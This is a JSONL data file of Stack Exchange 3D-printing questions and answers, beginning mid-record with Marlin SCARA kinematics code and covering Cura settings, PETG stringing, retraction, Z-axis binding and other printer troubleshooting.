QHARLEY . Integrated into masterbranch 06/2014 and slightly restructured by Joachim Cerny in June 2014\n\n    float SCARA_pos[2];\n    static float SCARA_C2, SCARA_S2, SCARA_K1, SCARA_K2, SCARA_theta, SCARA_psi;\n\n    SCARA_pos[X_AXIS] = cartesian[X_AXIS] * axis_scaling[X_AXIS] - SCARA_offset_x;  //Translate SCARA to standard X Y\n    SCARA_pos[Y_AXIS] = cartesian[Y_AXIS] * axis_scaling[Y_AXIS] - SCARA_offset_y;  // With scaling factor.\n\n    #if (Linkage_1 == Linkage_2)\n      SCARA_C2 = ((sq(SCARA_pos[X_AXIS]) + sq(SCARA_pos[Y_AXIS])) / (2 * (float)L1_2)) - 1;\n    #else\n      SCARA_C2 = (sq(SCARA_pos[X_AXIS]) + sq(SCARA_pos[Y_AXIS]) - (float)L1_2 - (float)L2_2) / 45000;\n    #endif\n\n    SCARA_S2 = sqrt(1 - sq(SCARA_C2));\n\n    SCARA_K1 = Linkage_1 + Linkage_2 * SCARA_C2;\n    SCARA_K2 = Linkage_2 * SCARA_S2;\n\n    SCARA_theta = (atan2(SCARA_pos[X_AXIS], SCARA_pos[Y_AXIS]) - atan2(SCARA_K1, SCARA_K2)) * -1;\n    SCARA_psi = atan2(SCARA_S2, SCARA_C2);\n\n    delta[X_AXIS] = SCARA_theta * SCARA_RAD2DEG;  // Multiply by 180/Pi  -  theta is support arm angle\n    delta[Y_AXIS] = (SCARA_theta + SCARA_psi) * SCARA_RAD2DEG;  //       -  equal to sub arm angle (inverted motor)\n    delta[Z_AXIS] = cartesian[Z_AXIS];\n}\n```\n```\nThis function takes care of the delta geometry and calculations needed to convert the (x,y,z) coordinates of the segment endpoints to corresponding positions for the carriages. The translated coordinates are then passed to\nplan_buffer_line\n, which calculates the steps needed for each stepper motor and actually makes these steps happen.\nThe exact kinematics used in this function are explained in much more detail at the\nMarlin github\n.\nWhat is important to note is that plan_buffer_line moves the carriages linearly, and the printhead thus describes an arc and not a straight line. A straight line move is thus approximated by many small arcs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.116654"}
{"id": "hf_da86550e1a0c", "question": "<p>Is there a definitive scalable 3D printer? </p>\n\n<p>I've seen examples of Chinese companies printing entire houses, and I'm curious as to printers / filaments that are intended (or at least able) be scaled up for (very) large print jobs. </p>\n\n<p>Since most hobby printers can take hundreds of hours for something that can still be held in our hands, so I'm curious if there are any designs for printers that are meant to extrude material efficiently with a easily scalable printing area. </p>\n\n<p>Open sourced / free is preferable; though I'm interested in <strong>any</strong> designs that exist, commercial included.</p>\n", "question_body": "", "answer": "If I understand your question correctly, it sounds like you're looking somewhere within the\nRepRap\nrealm. The RepRap community is mostly responsible for the boom in consumer 3D printing in the past 10 years, and that's most likely because it's\nopen source\n. RepRap designs are mostly dynamic (and most parts can be 3D printed), so you could theoretically build a larger frame for your machine and use a slicing engine that allows you to set the build volume. I believe\nSlic3r\nallows you to customize the build space, I'm not sure though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.141029"}
{"id": "hf_a9d287d8b549", "question": "<p>When you cut or break a PLA model (for example to remove support) it often leaves an ugly while mark where the removed piece was connected.</p>\n\n<p>Sanding also tend to leave dull white scratches on the sanded surface.</p>\n\n<p>What can I do to restore the white areas to the original filament color?</p>\n", "question_body": "", "answer": "A quick blast from a heat gun will very slightly reflow the surface texture and eliminate white marks.\nHowever, it's important to avoid over-heating the perimeter layers or you'll see them soften and sag into the infill. So wait for the heat gun to get fully hot and then use a short duration of high heat. Let the part cool between attempts if you don't get it all the first time, or need to clean up a large area.\nIncidentally, the heat gun will also help clean up strings from travel moves.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.173039"}
{"id": "hf_2b77508b7612", "question": "<p>Cura does not seem let the full print area to be used. My printer is a <a href=\"https://www.lulzbot.com/store/printers/lulzbot-mini\" rel=\"noreferrer\">Lulzbot Mini</a>. The design illustrated below can be found <a href=\"https://www.tinkercad.com/things/hBE6Aj2EJMo-skyrail-marble-coster-banked-curve-beta\" rel=\"noreferrer\">here</a>.</p>\n\n<p><a href=\"https://i.imgur.com/y1WpAws.png\" rel=\"noreferrer\">\n  <img src=\"https://imgur.com/y1WpAws.png\" />\n</a>\n<a href=\"https://i.imgur.com/42n8npt.png\" rel=\"noreferrer\">\n  <img src=\"https://i.imgur.com/42n8npt.png\" />\n</a></p>\n", "question_body": "", "answer": "Cura is likely factoring in your skirt. Change the skirt lines to 0 and you might be able to print (\n```\nExpert\n```\n->\n```\nSwitch to full settings\n```\n, then click the options button next to \"platform adhesion type.\"). Cura also seems to have an in-built build size offset of about 2 mm. I can't seem to get rid of it in any way other than to change the build size.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.194136"}
{"id": "hf_888e5c1299f4", "question": "<p>In Cura, when you enable \"Print support structure\", is there a way to see what it will look like?</p>\n", "question_body": "", "answer": "Select the View Modes Button in the upper right hand corner, and select Layers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.225079"}
{"id": "hf_068f8dca319d", "question": "<p>I have seen some lasers attached to the RepRap platform for cutting but most seem to be cutting paper, balsa wood, or merely etching.  If I were wanting to build a platform for cutting wood, similar to the wood framed or boxed 3D printers on the market, what power laser would I need for that?  I assume that a lower powered laser would have to travel slower but going too slow would add the possibility of catching the wood on fire (not good).  </p>\n", "question_body": "", "answer": "Please do not go down this road. First, not all lasers are equally absorbed by the material and the energy converted to heat to vaporize the material. The light not absorbed is reflected right back into your eyes. This is especially dangerous because it doesn't make you go blind instantly, fooling you into thinking there is no harm. You got the other part right, the lower the laser power, the less turned to heat, the longer it takes to cut, the longer you risk exposure to your eyes. That's right, a low powered laser is MORE dangerous than a big one. Next, the only way to properly cut is with air assist. This means a stream of air blows away the vaporized material so the laser can keep cutting deeper. This also prevents fires. The thing we haven't even touched is a proper safety enclosure, proper bed design to not reflect the laser beam back into the laser killing it and your eyes, and finally smoke/particle exhaust.\nSimply put, these cheapo DIY lasers are dangerous, and are also illegal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.273791"}
{"id": "hf_e3c7ba68633f", "question": "<p>Using an FDM printer and PLA or ABS, without adding support material. What modifications can I make to improve how steep an overhang my printer can print before it starts having problems?</p>\n\n<p>The obvious first answer is to add a cooling fan, increasing the airflow over the freshly-extruded material ensuring it solidifies. What other things can improve it?</p>\n\n<p>Does lowing the temperature help? Raising it?</p>\n\n<p>Does speeding up or slowing down the print head help?</p>\n\n<p>Does increasing/decreasing the extrusion diameter, or layer height help?</p>\n", "question_body": "", "answer": "There's an answer\nhere\nthat holds some of the same concepts. Regarding your questions:\nDoes lowering the temperature help? Raising it?\n: Yes, lowering the temperature can help. I've found that it is best to stay closer to the lower end of the material's melting point and just a bit above the point. Not only does this help with potential over extrusion, but also shortens the time it takes for the material to cool (refer to the link above).\nHowever\n, this could cause clogging if your temperature is too low. Keep an eye on your drive gear to see if there is too much friction while at lower temperatures. Increasing may keep the drive gear from \"eating\" your filament.\nDoes speeding up or slowing down the print head help?\n: I prefer to print slower, most of the time, to allow the material to cool a bit more to avoid curling/warping (I primarily print with ABS, so it matters more). You might be able to give and take between temperature and speed. Consider if your nozzle is cooler and your speed is up, bridging gaps might yield the same results as if you proportionately swap these two values. This concept may only matter if you are in a pinch to get the part done. Again, I prefer slowing my machine down as it allows current/previous layers to cool more before continuing. This can be especially helpful with overhangs when paired with lowering your nozzle temperature.\nDoes increasing/decreasing the extrusion diameter, or layer height help\n- I assume that extrusion diameter equals layer height (not difference in nozzle diameter, aka swapping nozzles). I'm not completely sure, but I think this depends on the part as well as slicing engine settings. For me, MakerWare is pretty good about proportionately adjusting extrusion steps with layer height, so I see an equal change in the width of the extrusion. I would think that in general, a larger layer height would yield a larger extrusion width. This would be helpful when printing overhangs, but may not be helpful when printing bridges (a larger strand will retain heat longer than a smaller one).\nHopefully this helps, please comment if you need more information/clarification.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.297859"}
{"id": "hf_23101180bd21", "question": "<p>I would like to secure my hotend thermistor in a more reliable way (now it is just thermistor plugged in the hotend :D). I want to have a stainless steel tip for it to fix it inside hotend with a screw (The same approach as used for the heating cartridge). I have thermistors, but I cannot find any tips to buy separately.</p>\n\n<p>Maybe you have some links for this kind of stainless-steel tips? Or some keywords I can use to search them?</p>\n", "question_body": "", "answer": "There's an answer\nhere\nthat holds some of the same concepts. Regarding your questions:\nDoes lowering the temperature help? Raising it?\n: Yes, lowering the temperature can help. I've found that it is best to stay closer to the lower end of the material's melting point and just a bit above the point. Not only does this help with potential over extrusion, but also shortens the time it takes for the material to cool (refer to the link above).\nHowever\n, this could cause clogging if your temperature is too low. Keep an eye on your drive gear to see if there is too much friction while at lower temperatures. Increasing may keep the drive gear from \"eating\" your filament.\nDoes speeding up or slowing down the print head help?\n: I prefer to print slower, most of the time, to allow the material to cool a bit more to avoid curling/warping (I primarily print with ABS, so it matters more). You might be able to give and take between temperature and speed. Consider if your nozzle is cooler and your speed is up, bridging gaps might yield the same results as if you proportionately swap these two values. This concept may only matter if you are in a pinch to get the part done. Again, I prefer slowing my machine down as it allows current/previous layers to cool more before continuing. This can be especially helpful with overhangs when paired with lowering your nozzle temperature.\nDoes increasing/decreasing the extrusion diameter, or layer height help\n- I assume that extrusion diameter equals layer height (not difference in nozzle diameter, aka swapping nozzles). I'm not completely sure, but I think this depends on the part as well as slicing engine settings. For me, MakerWare is pretty good about proportionately adjusting extrusion steps with layer height, so I see an equal change in the width of the extrusion. I would think that in general, a larger layer height would yield a larger extrusion width. This would be helpful when printing overhangs, but may not be helpful when printing bridges (a larger strand will retain heat longer than a smaller one).\nHopefully this helps, please comment if you need more information/clarification.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.322448"}
{"id": "hf_3f7878cef5dc", "question": "<p>I have recently bought a spool of eSun PETG. So far I really like the filament. My only complaint is, I get lumps of charred filament deposited on my object. The slicer I used is Craft Ware and I have played with the Far Travel -> Elevation settings. I have noticed that this helps but then I have little to no adhesion to the print surface and my supports do not stick to the raft. Does any one know how to mitigated PETG from collecting on the extruder?</p>\n", "question_body": "", "answer": "Different brands and blends of PET filaments seem to do this to different degrees. Esun's PETG is definitely one that tends to glob onto the nozzle. Basically, the nozzle plows through the top surface of the filament and lifts up some plastic, much like the bow of a ship lifting up some water at high speeds. PET's viscosity and stickiness seem to amplify this effect more than other filaments.\nSome things you can do to minimize the globbing:\nCalibrate extrusion volume on the low end of what you'd normally use for other filaments (how you do this depends on your slicer)\nUse your slicer's \"Z-hop\" or \"avoid perimeters\" feature so you don't do travel moves across printed surfaces\nInvest in an anti-stick coated nozzle, such as are sold by\nMicro Swiss\nor\nPerformance 3-d\n(these don't eliminate globbing, but they do reduce it and make the nozzle much easier to clean)\nPlay with slicer settings such as extrusion width, layer height, and infill/perimeter overlap to reduce the amount of \"excess material\" that sticks above the print surface\nAgain, this is a common problem with PET blend filaments. Anecdotally, some brands seem to glob more or less than others, so switching to a different vendor may be worth trying if you want to do a lot of PETG prints.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.410096"}
{"id": "hf_e07698460f61", "question": "<p>I have a z-axis which follows schematically the same principle as the makerbot one's (threaded rod and two leading rods with linear ball bearings carrying a level). It is from an old experimental lab doing physics or chemistry.</p>\n\n<p>The axis move gorgeously about 5 cm, but then it get's stuck on either sides of this way. Both driving threaded rod and the leading rods seem perfectly fine and should be able to allow for further movement. This is as far as I can see by eye.</p>\n\n<p>Where should I look to find further issues and how could I improve the performance? Do I need to take the construction apart?</p>\n", "question_body": "", "answer": "There could be a few issues at play.\nThe smooth rods are not parallel which is causing the bearings to bind the further you go up.\nPart of the thread is damaged not allowing it to pass through the nut.\nThe threaded rod is bent significantly to where it either doesn't pass through the nut or bind the assembly. (Is the end of the threaded rod opposite the motor constrained?)\nEven less likely is that the motor could be damaged.  Since you said it moved 5mm I would have to assume that is several revolutions of the motor so this is unlikely but possible.\nThe easiest way to find the problem would be to unhook/remove the threaded rod and see if you can move the carriage up and down the rods by hand, if so you just narrowed the problem down significantly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.433640"}
{"id": "hf_3d22bbf8684d", "question": "<p>Some RepRap models use only a single motor for the Z axis, others use two.</p>\n\n<p>For example, there is the <a href=\"http://reprap.org/wiki/3drag\" rel=\"noreferrer\">3drag</a> that has only one motor and a smooth rod on the other side. There are modifications that add a threaded rod on the other side that is connected to the motor axis with a belt - which seems to be a really good solution.</p>\n\n<p>Other printers, like the <a href=\"http://reprap.org/wiki/Prusa_i3\" rel=\"noreferrer\">Prusa i3</a> or the Mendel90 have two Z motors. And after playing around with a two motor model, I find it pretty annoying when they get out of sync and I need to calibrate the axis and the print bed again. So two motors seem more like an disadvantage to me.</p>\n\n<p>Could someone please shed some light on why most RepRaps have two Z motors (nowadays)?</p>\n", "question_body": "", "answer": "The general concept is to provide additional stability during the print. In the case of the 3drag machine you mentioned, you could run the risk of the -X- axis sagging due to the weight of the print head and/or additional wear on the rod or bearings on the one side (smooth side) as a result of the off balance weight. However, you may find \"hacks\" like\nthis\ncan potentially help reduce the affects by providing a bit more stability.\nHaving two -Z- axis motors with the threaded rods can help ensure stability of the -X- axis during print and can, overall, reduce wear on the mechanical components.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.458645"}
{"id": "hf_61bac65bcc05", "question": "<p>What software is best for the basest of n00bs when it comes to 3D parts creation?</p>\n\n<p>I have a heavy math background and know how to create explicit functions of volume, surface area, center of mass, etc. Ideally, I'd like a program that uses those strengths but I realize that most n00bs have a crippling math phobia so I'm not holding my breath.</p>\n\n<p>I tried freeCAD once and made some headway but the next time I turned my computer on, it refused to open. It was just a weakling netbook that I don't even have in my possession anymore but the computer I'm currently using is rather slow and doesn't seem to have much memory left either, so I still need something lightweight.</p>\n\n<p>tl;dr: Seeking a free, lightweight program to create .stl files that is good for n00bs that are <strong>not</strong> afraid of math.</p>\n", "question_body": "", "answer": "I don't have a heavy math background, but enjoy using such skills when applicable.\nIf you've not yet explored\nOpenSCAD\n, you may find that it meets your qualifications. It's more or less a scripting/descriptive language \"compiler\" that takes ordinary text and converts it to your model design. I use quotes, because I'm not skilled enough to qualify it as a true compiler, although it works in a similar manner and may indeed be a compiler.\nIt meets another qualification of yours in that it's free and there's quite a supportive mailing list/forum for any questions or difficulties that arise. If you look on Thingiverse using OpenSCAD as a search term, you'll find others' code available for examination and integration into your own models.\nFor the folks who are not so much into the math and text and logic, there's a GUI of sorts for OpenSCAD called\nBlocksCAD\nthat allows drag and drop of various modules in a manner akin to Scratch programming.\nI'd been using OpenSCAD long enough that I found BlocksCAD to overly complicate the creation of models by obscuring details. It may be better suited for younger model makers in that respect.\nSyntax and punctuation errors would be eliminated with BlocksCAD, while it's far too easy to create such errors in the editor for OpenSCAD. One gets used to it and error count quickly is reduced.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.481644"}
{"id": "hf_74c21ecbf296", "question": "<p>I have some design diagrams only on paper. Scanning them to bitmaps is easy, but I've had no luck getting useful vectors out of them. I've tried vectorizers in programs like gimp, and a few online services. Generally, I end up with enormous numbers of spurious vectors (from dust, dotted lines, text on the  diagram, slightly variations in scanning contrast, etc).</p>\n\n<p>What tools and/or techniques can I use to get a more useful vector result, that I can then modify in a normal CAD tool without spending absurd amounts of time cleaning it all up first?</p>\n", "question_body": "", "answer": "There is the capable but somewhat expensive\nScan2CAD\n.\nOtherwise, if you're happy with outlines and not centre lines, scan b&w, aggressively clean up macules, mask off text, and then vectorize in potrace, autotrace, etc. Alternatively, load the bitmap at the correct resolution into a drawing package as a raster layer and draw the lines/objects you want over it. This avoids the horrors of dotted lines.\nBoth ways are quite a bit of work, sadly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.534148"}
{"id": "hf_96ef774a1ec6", "question": "<p>I'm building a 3D printer and I've been looking around for materials suitable to make the frame.</p>\n\n<p>I have occasional access to a laser cutter which I could use to manufacture a ply box-type (UltiMaker) enclosure, but I like the ease of adjustment provided by the T-slot beam kits.</p>\n\n<p>I don't have any metal-cutting machine tools. Can aluminium beam be cut by hand with a hacksaw to a good degree of accuracy? How does one finish the cut end?</p>\n", "question_body": "", "answer": "Aluminum of almost every grade is very easy to cut with a hacksaw. I would suggest to mark clearly the cut line and to wrap masking tape at the edge of the cut. Consider to allow for about 2-3 millimeters (1/16\") extra material for final finishing. Cut across the line, rotate the part ninety degrees and cut again. Once you have the guide cuts in place, you should be able to manage a square cut by following those guides\nYou will want to have a clamping mechanism available, such as a vise or workbench type device.\nAfter the cut is done, use a sharp file to make final adjustments to the length and appearance. Push the file, do not drag it backwards. Push forward, lift away from the work piece as you return, then push again. Pick up a file card, which is a fine metal-tooth brush used to clear the teeth of the file.\nIt is very easy to remove material with a hand file, perhaps three or four strokes to remove 1/16\".\nYour accuracy will depend on the measurement of the lines you create and how carefully you file to the edge of those lines.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.558118"}
{"id": "hf_0883f5f815c5", "question": "<p>PLA is flammable, but a good case can protect the main board from dirt.</p>\n<p>Is it worthwhile to protect a circuit board with a 3d printed case?</p>\n", "question_body": "", "answer": "It depends.\nProtecting your electronics from being touched by random bits of conductive material which would short and fry them is always a good idea.\nIf it's something that will be visible, then a pleasant printed casing might go well. You might just as well use any other casing though, there's no requirement it be 3D printed.\nFor a very small circuitboard (an inch or less) heatshrink tubing might be a better form of protection. Or just insulating tape.\nIf you never intend to access the circuitry again and heat dissipation isn't a big issue, then just putting the whole lot in potting compound may work best for you - complete waterproofing and environmental protection.\nOr you could just tape a bit of plastic from a 2l coke bottle over it, and get 99% of the protection you'll ever need, and still keep the circuit visible and accessible.\nUltimately, it boils down to: Do you want it to be covered? If so, by what? If you would prefer a 3D printed case, then do you want it enough that it is worth the time and effort to you?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.585950"}
{"id": "hf_3adad5a3c0e4", "question": "<h2>Backstory</h2>\n\n<p>I've had issues in the past with my drive gear \"eating\" my filament. It seemed that the filament quit extruding for one reason or another and the drive gear would slowly eat away at the side of the filament.</p>\n\n<p>I eventually assumed it was the plastic filament guides causing unnecessary tension that the drive gear couldn't compete with, ultimately keeping the filament from moving forward. Thusly, allowing the drive gear to continue \"trying\".</p>\n\n<p>My solution was to hang my spools above the machine to avoid using the filament guides feeding from the back of the machine up through the top.</p>\n\n<h2>Question</h2>\n\n<p>Can the plastic filament guides really cause that much drag? What other variables can I expect to look out for?</p>\n\n<p><em>Machine:</em> <strong>MakerBot Replicator Dual (1st Generation)</strong></p>\n", "question_body": "", "answer": "I have a few hundred printing hours on a Monoprice Dual Extrusion, which is essentially the same thing.  I've had a couple random issues that lead to filament stripping by the extruder motor:\nClogs (either a buildup of material over time, or from over-retraction)\nFilament kinks around the spool holder\nSome other restriction of the spool's rotation\nI suspected the guides early on, but the grips on the rotor are actually fairly strong and the guide tubes are smooth enough to not cause a problem by themselves; I'd recommend looking at the other ends of the assembly first, as they're more likely to cause a problem.  If you preheat the nozzle, open the tensioner on the extruder stepper, and can't push the filament into the nozzle with your fingers, the motor won't be able to do it either.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.613751"}
{"id": "hf_ac575f8265ba", "question": "<p>I would like to make custom insoles for my wife.</p>\n\n<p>This company makes a flexible filament that will be soft to stand on:\n<a href=\"http://recreus.com/en/\" rel=\"noreferrer\">http://recreus.com/en/</a></p>\n\n<p>I do not currently own a printer.</p>\n\n<p>How can I measure her feet and transfer the measurements to the printer?\n(one of these comes to mind: <a href=\"http://www.eggheadtoys.com/pin-art/\" rel=\"noreferrer\">http://www.eggheadtoys.com/pin-art/</a>)</p>\n\n<p>How can I measure the inside of the shoe?</p>\n\n<p>What kind of printer can print with the flexible filament?</p>\n", "question_body": "", "answer": "Many questions in one post, but I'll address only the first. Consider to use a shoe with a flat insole, perhaps even what is commonly called a flip-flop. If your objective is to perfectly match the curve of her foot bottom, this should work. Apply a layer of polymer modeling clay, plasticine or similar material. It should be warm enough to permit her foot/feet to settle in and push enough material away to remove any voids. If voids appear, one could then add a few blobs and repeat the pressure.\nObviously some will ooze from the sides, which will have to be trimmed away. Trim a sufficient amount to fit her regular shoes and you'll have a reasonable match of the necessary fit.\nThe resulting shape can then be scanned with a 3d scanner and converted to a 3d model. Even if the clay is excessively thick, the typical 3d model editor can slice away the excess, although one would have to make an almost arbitrary judgement for the location of the slicing plane.\nAnother option comes to mind. There are various silicone molding products. I've used one from makeyourownmolds.com that is of a consistency of frosting. When mixed together and applied, it makes a perfect duplicate of the item, in reverse. Another product sold at the local HobbyLobby is a similar molding compound that is more akin to the modeling clay.\nBoth compounds will release easily from skin, are non-toxic and would provide a more durable model from which to scan.\nI think one difficulty you may have is how to determine the correct foot pressure and posture to achieve the desired results. The modeling clay would give you more support and probably be more accurate. If your objective is to provide the same support as a bare foot, the silicone molding method would be more accurate.\nIf you stretch the concept even further, once you have the silicone or clay mold, you would be able to use the pin-art concept. The idea of measuring each tiny pin is mind-boggling, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.650724"}
{"id": "hf_f8b5e43b82cd", "question": "<p>If you already have a 3D printer, would you say that you have saved money on buying the printer, buying models and then printing the models, compared to buying something alike in retail?</p>\n\n<p>Would you say that saving money is an argument to buy a 3D printer?</p>\n", "question_body": "", "answer": "Yes and No.\nThere are two sides of this,\nyes\nand\nno\n. Why I say\nyes\nis because there are little things that the 3D Printer can come in use for, like creating charger holders or just little household objects. The\nno\nside of this for me would be because of the cost of the filament in general and the maximum object size you can create with your 3D Printer. I know they have bigger ones out there, but you aren't going to make anything too big. Another reason it's a\nno\nis because of duration of time. It may save you money, but your going to be spending a lot more time and possibly more money the bigger your objects get, which is the only reason I'm not trying to get one at the moment. I'm choosing to wait until technologies advance to get my personal one, where it doesn't take over an hour to print out a keychain tag.\nSo\nyes\n, you probably could save money in the long run, depending on what you create with it based on size and how much filament you use, but I'm also going to say\nno\nbecause of the disadvantages the 3D Printer has. I personally would wait for technology to advance in the next 5-15 years before buying one that has a lot more power than these, as the one's currently in the market are expensive.\nEDIT:\nAs I stated in my reasoning, I currently do not own a 3D Printer, but I do use one at my school for educational purposes and I do know the hassle on time and money for creating products that are relatively small in size.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.693728"}
{"id": "hf_5a7a953a4cef", "question": "<p>E3D mentions on their <a href=\"http://wiki.e3d-online.com/wiki/E3D-v6_Assembly#Usage_Guidance\" rel=\"nofollow noreferrer\">own wiki</a>:</p>\n\n<blockquote>\n  <p>Excessively long retractions will cause issues by dragging soft filament into cold areas. [...] for bowden systems you might want to go up to 2&nbsp;mm. Retraction beyond 2&nbsp;mm is likely to cause issues.</p>\n</blockquote>\n\n<p>I have retraction set to the recommended maximum of 2&nbsp;mm, but I still get a lot of stringing and blobs. My printer is set up with a relatively long Bowden tube (500-600&nbsp;mm). I wonder if I need to push my retraction setting slightly beyond 2&nbsp;mm to take up some of the slack. Is the 2&nbsp;mm a conservative rating (I guess they don't want dissatisfied customers with clogging problems) or is it really the maximum? Is there anything else I can do to improve retraction performance? (I already have a small coasting distance of 0.1&nbsp;mm set.)</p>\n", "question_body": "", "answer": "Yes, you can increase retraction past E3D's max 2 mm recommendation to compensate for Bowden tube stretch and slop. The reason for the recommendation is that jams will occur with most all-metal hot ends if you pull molten filament up into the cold zone. Any molten filament that enters the cold zone rapidly cools and hardens and sticks to the walls, very often forming a jam.\nSo, the requirement is to keep your retraction distance\nat the extruder\nless than 2 mm. Additional retraction travel that is absorbed by the Bowden tube and not seen at the extruder is fine. I personally run 2.5 mm retraction on an E3Dv6 Bowden system without any issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.828483"}
{"id": "hf_5056040d0ea8", "question": "<p>I am encountering a problem with this ID3 printer using ABS -- at some point during the print the print head displaces on the y-axis by 2-3 centimeters. I cannot pinpoint how or why it is doing this. It has displaced in the positive Y direction and in the negative Y direction on separate runs of the same piece (which is just a poker chip I found on Thingiverse). </p>\n\n<p>Is this a software issue (Simplify3D) or a hardware issue? Can anybody suggest a fix?</p>\n\n<p>See the following photos:</p>\n\n<p><a href=\"https://i.stack.imgur.com/b9Kyv.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/b9Kyv.jpg\" alt=\"3D print exhibiting positive Y displacement mid-print\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/1yH40.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/1yH40.jpg\" alt=\"Close up of 3D print exhibiting positive Y displacement mid-print\"></a></p>\n", "question_body": "", "answer": "It seems unlikely this is a software or G-code issue, instead it appears your Y-motor is occasionally missing some steps. There are two possible causes for this:\nThe current limit for the stepper driver is set too low, limiting the amount of torque the motor can generate. When the printhead encounters some resistance (for instance due to running into a blob on your model) the motor skips steps, resulting in a displaced model.\nThe current limit for the stepper driver is set too high. The stepper driver will overheat and thermal protection will shut it down temporarily. Some steps are lost while it is shut down.\nThere are various ways to calculate the ideal current for a motor and set it using a multimeter, but a simpler approach is to turn it way down, and then slowly turn it up. Turn it up just beyond the point where the axis moves reliably.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:44.853291"}
